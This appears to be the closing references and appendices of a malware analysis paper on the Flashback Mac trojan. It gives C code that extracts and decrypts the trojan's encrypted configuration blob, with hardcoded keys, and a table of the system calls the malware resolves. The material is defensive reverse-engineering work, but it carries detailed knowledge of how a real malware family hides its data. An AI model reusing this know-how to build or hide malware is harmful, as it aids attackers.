Kerner, Sean Michael (2012, April 13). Mac Security: A Myth? Retrieved April 24, 2012 from eSecurityPlanet Website: http://www.esecurityplanet.com/mac-os-security/mac-security-a-myth-flashback-trojan-java-malware.html

Schneier, Bruce (1996). Applied Cryptography. John Wiley & Sons Inc.

Zhao, Zimming & Ahn, Gail-Joon & Hu, Hingxin. Automatic Extraction of Secrets From Malware. Arizona State University

Appendix 1: Blob Extraction Code

```
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <stdlib.h>

#define FILE_SIZE 59844
#define CIPHER_SIZE	0x1051

int patternMatch (uint8_t *buf, uint8_t *pattern, int length);

int main ()
{
	FILE *p, *in, *out;
	uint8_t cipher[CIPHER_SIZE];
	uint8_t exe[FILE_SIZE];
	unsigned int tmp;
	int patternLength;
	int i, result;
	uint8_t pattern[] = { 0xFD, 0x92, 0x61, 0x0C, 0x00, 0x00, 0x00, 0xF0, 0xAA, 0x40, 0x53, 0x99, 0xCC, 0xAC,
0x8A, 0x20 };
	patternLength = 16;

	in = fopen("sbm", "r");
	if (!in) {
		puts("Couldn't open sbm file");
		return 1;
	}
	result = fread (exe, 1, FILE_SIZE, in);
	fclose(in);
	int matchSpot = 0;
	for (i = 0; i < (FILE_SIZE - patternLength - 100); i++) {
		if (patternMatch(&exe[i], pattern, patternLength)) {
			printf("Pattern match found at: %i\n", i);
			matchSpot = i;
			break;
		}
	}
	if (matchSpot) {
		for (i = 0; i < CIPHER_SIZE; i++) {
			cipher[i] = exe[matchSpot + i];
		}
	}
	out = fopen("out.bin", "w");
	if (!out) {
		puts("Couldn't open output file");
		return 1;
	}
	result = fwrite(cipher, 1, CIPHER_SIZE, out);
	fclose(out);

	return 0;
}

int patternMatch (uint8_t *buf, uint8_t *pattern, int length)
{
	int i;
	for (i = 0; i < length; i++) {
		if (buf[i] != pattern[i]) {
			return 0;
		}
	}
	return 1;
}
```

Appendix 2: Blob Record Extraction Code

```
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <stdlib.h>
#include <inttypes.h>

#define FILE_SIZE 0x1051

struct cipher_key {
        uint32_t key1;
        uint32_t key2;
};

struct cipher_key2 {
        uint32_t key1;
        uint32_t key2;
        uint32_t key3;
};


unsigned char *getBlock (unsigned char *buf, int *size, uint16_t match, int length, struct cipher_key *key);
unsigned char decrypt_byte (uint32_t key1, uint32_t key2, uint32_t key3, uint16_t in);
void decrypt_block(struct cipher_key *key, struct cipher_key2 *key2, uint16_t sig);

unsigned char bin[FILE_SIZE];

int main (int argc, char **argv)
{
        FILE *in;
        unsigned char i;
        unsigned char *record;
        int size, result;
        struct cipher_key cipher_key;
        struct cipher_key2 cipher_key2;
        uint32_t record_key;

        printf("Number of arguments: %i\n", argc);
        if (argc != 4) {
                puts("Usage: decrypt_record [record key] [key 1] [key 2]");
                return 1;
        }

        in = fopen("cipher.bin", "r");
        if (!in) {
                puts("Couldn't open cipher file");
                return 1;
        }

        result = fread (bin, 1, FILE_SIZE, in);
        fclose(in);

        cipher_key.key1 = 0x27354581;
        cipher_key.key2 = 0xA2937647;
        record = getBlock(bin, &size, 0x6192, FILE_SIZE, &cipher_key);
        memcpy(&cipher_key2, record, 12);
        free(record);

        record_key = strtol(argv[1], NULL, 16);
        cipher_key.key1 = strtol(argv[2], NULL, 16);
        cipher_key.key2 = strtol(argv[3], NULL, 16);

        decrypt_block(&cipher_key, &cipher_key2, record_key);

        return 0;
```

```
}


void decrypt_block(struct cipher_key *key, struct cipher_key2 *key2, uint16_t sig)
{
	int j, size;
	unsigned char byte;
	unsigned char *cipher;

	printf("\nDecrypting block with signature: %x\n", sig);

	cipher = getBlock(bin, &size, sig, FILE_SIZE, key);

	for (j = 0; j < size / 2; j++) {
		uint16_t input;
		memcpy(&input, &cipher[j*2], 2);
		byte = decrypt_byte(key2->key1, key2->key2, key2->key3, input);
		printf("%c", byte);
	}
	printf("\n");
	free(cipher);
}

unsigned char *getBlock (unsigned char *buf, int *recsize, uint16_t match, int length, struct cipher_key *key)
{
	unsigned char header;
	unsigned char *record;
	uint16_t *sig;
	uint32_t i, pos, *size;

	pos = 0;

	while (pos < (length - 5)) {

		header = buf[pos];
		if (header != 0xFD) {
			printf("Invalid header at offset: %x\n", pos);
			return 0;
		}

		sig = (uint16_t *) &buf[pos+1];
		size = (uint32_t *) &buf[pos+3];

		if (*sig != match) {
			pos += 7;
			pos += *size;
		} else {
			record = malloc(*size);
			*recsize = *size;
			for (i = 0; i < *size; i++) {
				unsigned char *ptr = (unsigned char *) key;
				unsigned char letter = (buf[pos + i + 7] ^ ptr[i % 8]) & 0xFF;
				record[i] = letter;
			}
			return record;
		}
	}

	printf("%x: No match found\n", match);
	return 0;
}

unsigned char decrypt_byte (uint32_t key1, uint32_t key2, uint32_t key3, uint16_t in)
{
	unsigned char plain;
	int idx, j;
	uint32_t tmp, tmp1, tmp2, tmp3;
	uint64_t big;

	tmp1 = (key1 << 0x10) ^ key1;
```

```
	if (tmp1 <= 1) {
		tmp1 = key1 << 0x18;
		if (tmp1 <= 1) {
			tmp1 = ~tmp1;
		}
	}
	tmp2 = (key2 << 0x10) ^ key2;
	if (tmp2 <= 7) {
		tmp2 = key2 << 0x18;
		if (tmp2 <= 7) {
			tmp2 = ~tmp2;
		}
	}
	tmp3 = (key3 << 0x10) ^ key3;
	if (tmp3 <= 0xF) {
		tmp3 = key3 << 0x18;
		if (tmp3 <= 1) {
			tmp3 = ~tmp3;
		}
	}

	for (j = 0; j <= in; j++) {

		tmp = ((tmp1 << 0xD) ^ tmp1) >> 0x13;
		tmp1 = ((tmp1 & 0xFFFFFFFE) << 0xC) ^ tmp;

		tmp = ((tmp2 * 4) ^ tmp2) >> 0x19;
		tmp2 = ((tmp2 & 0xFFFFFFF8) << 0x4) ^ tmp;

		tmp = ((tmp3 * 8) ^ tmp3) >> 0xB;
		tmp3 = ((tmp3 & 0xFFFFFFF0) << 0x11) ^ tmp;
	}

	tmp1 ^= tmp2;
	tmp3 ^= tmp1;
	tmp1 = 0x80808081;
	tmp2 = tmp3;
	big = tmp1;
	big *= tmp2;
	tmp2 = big & 0xFFFFFFFF;
	tmp1 = big >> 0x20;
	tmp1 >>= 0x7;
	tmp2 = (tmp1 << 0x8) - tmp1;
	tmp3 -= tmp2;
	plain = tmp3 & 0xFF;

	return plain;
}
```

Appendix 3: System Call to Variable Mappings

Variable	System Call
dword_61A0	_NSGetExecutablePath
dword_61A4	CFStringCreateWithCString
dword_61A8	CFStringGetCString
dword_61AC	CFRelease
dword_61B0	CFURLCreateWithString
dword_61B4	CFHTTPMessageCreateRequest
dword_61B8	CFHTTPMessageSetHeaderFieldValue
dword_61BC	CFReadStreamCreateForHTTPRequest
dword_61C0	CFReadStreamOpen
dword_61C4	CFReadStreamRead
dword_61C8	CFReadStreamClose
dword_61CC	IORegistryEntryFromPath
dword_61D0	IORegistryEntryCreateCFProperty
dword_61D4	IOObjectRelease
dword_61D8	uncompress
dword_61DC	compressBound
dword_61E0	compress2
dword_61E4	__CFStringMakeConstantString
dword_61E8	BIO_new
dword_61EC	BIO_ctrl
dword_61F0	BIO_write
dword_61F4	BIO_free_all
dword_61F8	BIO_push
dword_61FC	BIO_new_mem_buf
dword_6200	BIO_f_base64
dword_6204	BIO_s_mem
dword_6208	BIO_read
dword_620C	RSA_verify
dword_6210	SHA1
dword_6214	gethostbyname
dword_6218	BN_bin2bn
dword_621C	RSA_new